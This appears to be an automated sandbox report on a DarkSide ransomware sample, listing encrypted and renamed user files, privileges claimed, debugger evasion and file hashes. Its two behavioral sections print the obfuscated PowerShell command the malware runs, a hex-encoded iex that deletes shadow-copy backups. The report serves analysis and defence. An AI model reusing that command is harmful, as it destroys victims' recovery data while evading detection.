Malware Analysis Report

2024-10-16 03:29

Sample ID 210529-mc7edj4l9j
Target ut.bin.zip
SHA256 5205f30e5b0ff274c4bab8c647120b0226a898e449b3b114cfeecf4c9c12340e
Tags
darkside ransomware spyware stealer
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V6

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

5205f30e5b0ff274c4bab8c647120b0226a898e449b3b114cfeecf4c9c12340e

Threat Level: Known bad

The file ut.bin.zip was found to be: Known bad.

Malicious Activity Summary

darkside ransomware spyware stealer

DarkSide

Modifies extensions of user files

Reads user/profile data of web browsers

Suspicious use of NtSetInformationThreadHideFromDebugger

Suspicious behavior: EnumeratesProcesses

Suspicious use of AdjustPrivilegeToken

Suspicious use of WriteProcessMemory

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2021-05-29 10:12

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2021-05-29 10:12

Reported

2021-05-29 10:15

Platform

win7v20210408

Max time kernel

14s

Max time network

12s

Command Line

"C:\Users\Admin\AppData\Local\Temp\ut.bin.exe"

Signatures

DarkSide

ransomware darkside

Modifies extensions of user files

ransomware
Description Indicator Process Target
File opened for modification C:\Users\Admin\Pictures\EditCompress.raw.137cb6d5 C:\Users\Admin\AppData\Local\Temp\ut.bin.exe N/A
File renamed C:\Users\Admin\Pictures\LimitRepair.tif => C:\Users\Admin\Pictures\LimitRepair.tif.137cb6d5 C:\Users\Admin\AppData\Local\Temp\ut.bin.exe N/A
File renamed C:\Users\Admin\Pictures\ResetUnpublish.crw => C:\Users\Admin\Pictures\ResetUnpublish.crw.137cb6d5 C:\Users\Admin\AppData\Local\Temp\ut.bin.exe N/A
File renamed C:\Users\Admin\Pictures\SelectMount.png => C:\Users\Admin\Pictures\SelectMount.png.137cb6d5 C:\Users\Admin\AppData\Local\Temp\ut.bin.exe N/A
File renamed C:\Users\Admin\Pictures\StepCompress.tif => C:\Users\Admin\Pictures\StepCompress.tif.137cb6d5 C:\Users\Admin\AppData\Local\Temp\ut.bin.exe N/A
File opened for modification C:\Users\Admin\Pictures\StepCompress.tif.137cb6d5 C:\Users\Admin\AppData\Local\Temp\ut.bin.exe N/A
File opened for modification C:\Users\Admin\Pictures\SubmitDismount.tiff C:\Users\Admin\AppData\Local\Temp\ut.bin.exe N/A
File renamed C:\Users\Admin\Pictures\SubmitDismount.tiff => C:\Users\Admin\Pictures\SubmitDismount.tiff.137cb6d5 C:\Users\Admin\AppData\Local\Temp\ut.bin.exe N/A
File renamed C:\Users\Admin\Pictures\EditCompress.raw => C:\Users\Admin\Pictures\EditCompress.raw.137cb6d5 C:\Users\Admin\AppData\Local\Temp\ut.bin.exe N/A
File opened for modification C:\Users\Admin\Pictures\LimitRepair.tif.137cb6d5 C:\Users\Admin\AppData\Local\Temp\ut.bin.exe N/A
File opened for modification C:\Users\Admin\Pictures\ResetUnpublish.crw.137cb6d5 C:\Users\Admin\AppData\Local\Temp\ut.bin.exe N/A
File opened for modification C:\Users\Admin\Pictures\SelectMount.png.137cb6d5 C:\Users\Admin\AppData\Local\Temp\ut.bin.exe N/A
File opened for modification C:\Users\Admin\Pictures\SubmitDismount.tiff.137cb6d5 C:\Users\Admin\AppData\Local\Temp\ut.bin.exe N/A

Reads user/profile data of web browsers

spyware stealer

Suspicious use of NtSetInformationThreadHideFromDebugger

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\ut.bin.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeIncreaseQuotaPrivilege N/A C:\Users\Admin\AppData\Local\Temp\ut.bin.exe N/A
Token: SeSecurityPrivilege N/A C:\Users\Admin\AppData\Local\Temp\ut.bin.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Users\Admin\AppData\Local\Temp\ut.bin.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Users\Admin\AppData\Local\Temp\ut.bin.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Users\Admin\AppData\Local\Temp\ut.bin.exe N/A
Token: SeSystemtimePrivilege N/A C:\Users\Admin\AppData\Local\Temp\ut.bin.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Users\Admin\AppData\Local\Temp\ut.bin.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Users\Admin\AppData\Local\Temp\ut.bin.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Users\Admin\AppData\Local\Temp\ut.bin.exe N/A
Token: SeBackupPrivilege N/A C:\Users\Admin\AppData\Local\Temp\ut.bin.exe N/A
Token: SeRestorePrivilege N/A C:\Users\Admin\AppData\Local\Temp\ut.bin.exe N/A
Token: SeShutdownPrivilege N/A C:\Users\Admin\AppData\Local\Temp\ut.bin.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\ut.bin.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Users\Admin\AppData\Local\Temp\ut.bin.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Users\Admin\AppData\Local\Temp\ut.bin.exe N/A
Token: SeUndockPrivilege N/A C:\Users\Admin\AppData\Local\Temp\ut.bin.exe N/A
Token: SeManageVolumePrivilege N/A C:\Users\Admin\AppData\Local\Temp\ut.bin.exe N/A
Token: 33 N/A C:\Users\Admin\AppData\Local\Temp\ut.bin.exe N/A
Token: 34 N/A C:\Users\Admin\AppData\Local\Temp\ut.bin.exe N/A
Token: 35 N/A C:\Users\Admin\AppData\Local\Temp\ut.bin.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\system32\vssvc.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\system32\vssvc.exe N/A
Token: SeAuditPrivilege N/A C:\Windows\system32\vssvc.exe N/A

Processes

C:\Users\Admin\AppData\Local\Temp\ut.bin.exe

"C:\Users\Admin\AppData\Local\Temp\ut.bin.exe"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"

C:\Windows\system32\vssvc.exe

C:\Windows\system32\vssvc.exe

Network

N/A

Files

memory/1776-59-0x00000000001F0000-0x00000000001F1000-memory.dmp

memory/1776-60-0x0000000075C31000-0x0000000075C33000-memory.dmp

memory/2040-61-0x0000000000000000-mapping.dmp

memory/2040-62-0x000007FEFBB31000-0x000007FEFBB33000-memory.dmp

memory/2040-63-0x0000000001E30000-0x0000000001E31000-memory.dmp

memory/2040-64-0x000000001AAC0000-0x000000001AAC1000-memory.dmp

memory/2040-65-0x0000000002450000-0x0000000002451000-memory.dmp

memory/1776-66-0x0000000000290000-0x00000000002CC000-memory.dmp

memory/1776-67-0x0000000000200000-0x0000000000201000-memory.dmp

memory/2040-68-0x000000001A9A0000-0x000000001A9A2000-memory.dmp

memory/2040-69-0x000000001A9A4000-0x000000001A9A6000-memory.dmp

memory/2040-70-0x0000000002330000-0x0000000002331000-memory.dmp

memory/2040-71-0x000000001B620000-0x000000001B621000-memory.dmp

memory/2040-72-0x000000001C560000-0x000000001C561000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex

MD5 3e75df13a0f95661a9af769da5ce1f00
SHA1 81200a6da33299de3e68cf86bcf4c31c5bf0165a
SHA256 cff3c1c628268eb8af674a5dadff5cb565e1ab2c13f69458401f7e5b08f95308
SHA512 05be5cbe3e93b2574ea8854144601d3fcc320b4cc6fc6dd4feeb6827b2d61c729ba0cdacbaa3333daa492eaf88bf3b458cfe5f0e4470e60d3d0958fa632ef13c

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

MD5 48a82b6753094950d9d3eacb72054bea
SHA1 375ce7b97c9e51c022124c50b724fc3fd7c418ea
SHA256 0cf4c9486a6b66bbede503837ab66024587ab3d556508918706320b59b2d32df
SHA512 8d755fb2ca1a4461ba3dc4186dba4bd230a3035b1319e96ab5d0647337bbe27b1414fa04a6342a031334cfa0206062a80e632fc5e3c118f1b3bc10e5951a558f

Analysis: behavioral2

Detonation Overview

Submitted

2021-05-29 10:12

Reported

2021-05-29 10:15

Platform

win10v20210410

Max time kernel

43s

Max time network

112s

Command Line

"C:\Users\Admin\AppData\Local\Temp\ut.bin.exe"

Signatures

DarkSide

ransomware darkside

Modifies extensions of user files

ransomware
Description Indicator Process Target
File opened for modification C:\Users\Admin\Pictures\InvokeSubmit.crw.df06d794 C:\Users\Admin\AppData\Local\Temp\ut.bin.exe N/A
File opened for modification C:\Users\Admin\Pictures\UpdateGrant.tiff.df06d794 C:\Users\Admin\AppData\Local\Temp\ut.bin.exe N/A
File renamed C:\Users\Admin\Pictures\ClearRead.raw => C:\Users\Admin\Pictures\ClearRead.raw.df06d794 C:\Users\Admin\AppData\Local\Temp\ut.bin.exe N/A
File renamed C:\Users\Admin\Pictures\InvokeSubmit.crw => C:\Users\Admin\Pictures\InvokeSubmit.crw.df06d794 C:\Users\Admin\AppData\Local\Temp\ut.bin.exe N/A
File opened for modification C:\Users\Admin\Pictures\ResolveDisable.raw.df06d794 C:\Users\Admin\AppData\Local\Temp\ut.bin.exe N/A
File opened for modification C:\Users\Admin\Pictures\CloseUnprotect.tiff.df06d794 C:\Users\Admin\AppData\Local\Temp\ut.bin.exe N/A
File opened for modification C:\Users\Admin\Pictures\HideTest.png.df06d794 C:\Users\Admin\AppData\Local\Temp\ut.bin.exe N/A
File renamed C:\Users\Admin\Pictures\PublishEdit.raw => C:\Users\Admin\Pictures\PublishEdit.raw.df06d794 C:\Users\Admin\AppData\Local\Temp\ut.bin.exe N/A
File renamed C:\Users\Admin\Pictures\WatchPublish.crw => C:\Users\Admin\Pictures\WatchPublish.crw.df06d794 C:\Users\Admin\AppData\Local\Temp\ut.bin.exe N/A
File opened for modification C:\Users\Admin\Pictures\ClearRead.raw.df06d794 C:\Users\Admin\AppData\Local\Temp\ut.bin.exe N/A
File opened for modification C:\Users\Admin\Pictures\CloseUnprotect.tiff C:\Users\Admin\AppData\Local\Temp\ut.bin.exe N/A
File renamed C:\Users\Admin\Pictures\CloseUnprotect.tiff => C:\Users\Admin\Pictures\CloseUnprotect.tiff.df06d794 C:\Users\Admin\AppData\Local\Temp\ut.bin.exe N/A
File opened for modification C:\Users\Admin\Pictures\UpdateGrant.tiff C:\Users\Admin\AppData\Local\Temp\ut.bin.exe N/A
File renamed C:\Users\Admin\Pictures\UpdateGrant.tiff => C:\Users\Admin\Pictures\UpdateGrant.tiff.df06d794 C:\Users\Admin\AppData\Local\Temp\ut.bin.exe N/A
File opened for modification C:\Users\Admin\Pictures\WatchPublish.crw.df06d794 C:\Users\Admin\AppData\Local\Temp\ut.bin.exe N/A
File renamed C:\Users\Admin\Pictures\HideTest.png => C:\Users\Admin\Pictures\HideTest.png.df06d794 C:\Users\Admin\AppData\Local\Temp\ut.bin.exe N/A
File opened for modification C:\Users\Admin\Pictures\PublishEdit.raw.df06d794 C:\Users\Admin\AppData\Local\Temp\ut.bin.exe N/A
File renamed C:\Users\Admin\Pictures\ResolveDisable.raw => C:\Users\Admin\Pictures\ResolveDisable.raw.df06d794 C:\Users\Admin\AppData\Local\Temp\ut.bin.exe N/A

Reads user/profile data of web browsers

spyware stealer

Suspicious use of NtSetInformationThreadHideFromDebugger

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\ut.bin.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeIncreaseQuotaPrivilege N/A C:\Users\Admin\AppData\Local\Temp\ut.bin.exe N/A
Token: SeSecurityPrivilege N/A C:\Users\Admin\AppData\Local\Temp\ut.bin.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Users\Admin\AppData\Local\Temp\ut.bin.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Users\Admin\AppData\Local\Temp\ut.bin.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Users\Admin\AppData\Local\Temp\ut.bin.exe N/A
Token: SeSystemtimePrivilege N/A C:\Users\Admin\AppData\Local\Temp\ut.bin.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Users\Admin\AppData\Local\Temp\ut.bin.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Users\Admin\AppData\Local\Temp\ut.bin.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Users\Admin\AppData\Local\Temp\ut.bin.exe N/A
Token: SeBackupPrivilege N/A C:\Users\Admin\AppData\Local\Temp\ut.bin.exe N/A
Token: SeRestorePrivilege N/A C:\Users\Admin\AppData\Local\Temp\ut.bin.exe N/A
Token: SeShutdownPrivilege N/A C:\Users\Admin\AppData\Local\Temp\ut.bin.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\ut.bin.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Users\Admin\AppData\Local\Temp\ut.bin.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Users\Admin\AppData\Local\Temp\ut.bin.exe N/A
Token: SeUndockPrivilege N/A C:\Users\Admin\AppData\Local\Temp\ut.bin.exe N/A
Token: SeManageVolumePrivilege N/A C:\Users\Admin\AppData\Local\Temp\ut.bin.exe N/A
Token: 33 N/A C:\Users\Admin\AppData\Local\Temp\ut.bin.exe N/A
Token: 34 N/A C:\Users\Admin\AppData\Local\Temp\ut.bin.exe N/A
Token: 35 N/A C:\Users\Admin\AppData\Local\Temp\ut.bin.exe N/A
Token: 36 N/A C:\Users\Admin\AppData\Local\Temp\ut.bin.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\system32\vssvc.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\system32\vssvc.exe N/A
Token: SeAuditPrivilege N/A C:\Windows\system32\vssvc.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 4448 wrote to memory of 4840 N/A C:\Users\Admin\AppData\Local\Temp\ut.bin.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4448 wrote to memory of 4840 N/A C:\Users\Admin\AppData\Local\Temp\ut.bin.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Processes

C:\Users\Admin\AppData\Local\Temp\ut.bin.exe

"C:\Users\Admin\AppData\Local\Temp\ut.bin.exe"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"

C:\Windows\system32\vssvc.exe

C:\Windows\system32\vssvc.exe

Network

N/A

Files

memory/4448-114-0x0000000000490000-0x0000000000491000-memory.dmp

memory/4840-115-0x0000000000000000-mapping.dmp

memory/4448-116-0x0000000002070000-0x00000000020AC000-memory.dmp

memory/4448-117-0x00000000004B0000-0x00000000005FA000-memory.dmp

memory/4840-123-0x0000029CEF910000-0x0000029CEF911000-memory.dmp

memory/4840-128-0x0000029CEFAC0000-0x0000029CEFAC1000-memory.dmp

memory/4840-137-0x0000029CED900000-0x0000029CED902000-memory.dmp

memory/4840-138-0x0000029CED903000-0x0000029CED905000-memory.dmp

memory/4840-139-0x0000029CED906000-0x0000029CED908000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

MD5 ea6243fdb2bfcca2211884b0a21a0afc
SHA1 2eee5232ca6acc33c3e7de03900e890f4adf0f2f
SHA256 5bc7d9831ea72687c5458cae6ae4eb7ab92975334861e08065242e689c1a1ba8
SHA512 189db6779483e5be80331b2b64e17b328ead5e750482086f3fe4baae315d47d207d88082b323a6eb777f2f47e29cac40f37dda1400462322255849cbcc973940

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 fd91aaf846d85b7086448b2da4839186
SHA1 75a119b177c73f09f009ea1f1d61c5cf1b862a1e
SHA256 bd62da84ff9b6f54a42c736d81ed6a27ead625367996d256e0ed5b7583cc24b7
SHA512 bda28e836940702a3e5ff65cfca42970c6d203b9bf4f6f99c062ef2cabb841b5a66584633abd3981df149c27bfbf4c48bdf89b6704a2aa7babaf6898917b1a37